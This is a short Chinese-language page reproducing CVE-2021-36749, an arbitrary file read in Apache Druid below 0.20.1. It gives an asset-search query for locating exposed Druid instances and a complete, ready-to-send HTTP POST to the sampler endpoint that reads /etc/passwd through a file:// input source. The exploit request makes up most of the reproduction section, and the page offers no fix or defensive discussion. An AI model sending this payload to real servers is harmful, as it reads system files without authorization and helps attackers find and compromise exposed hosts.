登录 白背景

Apace Druid存在任意文件读取漏洞(CVE-2021-36749)

一、漏洞简介

Apache Druid是一个实时分析型数据库,旨在对大型数据集进行快速的查询分析("OLAP"查询)。Druid最常被当做数据库来用以支持实时摄取、高性能查询和高稳定运行的应用场景,同时,Druid也通常被用来助力分析型应用的图形化界面,或者当做需要快速聚合的高并发后端API,Druid最适合应用于面向事件类型的数据。Apace Druid存在任意文件读取漏洞

二、影响版本

  • Apache Druid < 0.20.1

三、资产测绘

title="Apache Druid"

image.png

四、漏洞复现

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 
Content-Length: 478
Content-Type: application/json;charset=UTF-8

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["file:///etc/passwd"]},"inputFormat":{"type":"regex","pattern":"(.*)","listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{}},"tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}

image.png

原文: https://www.yuque.com/xiaokp7/ocvun2/gb0owzvtgrgfqdii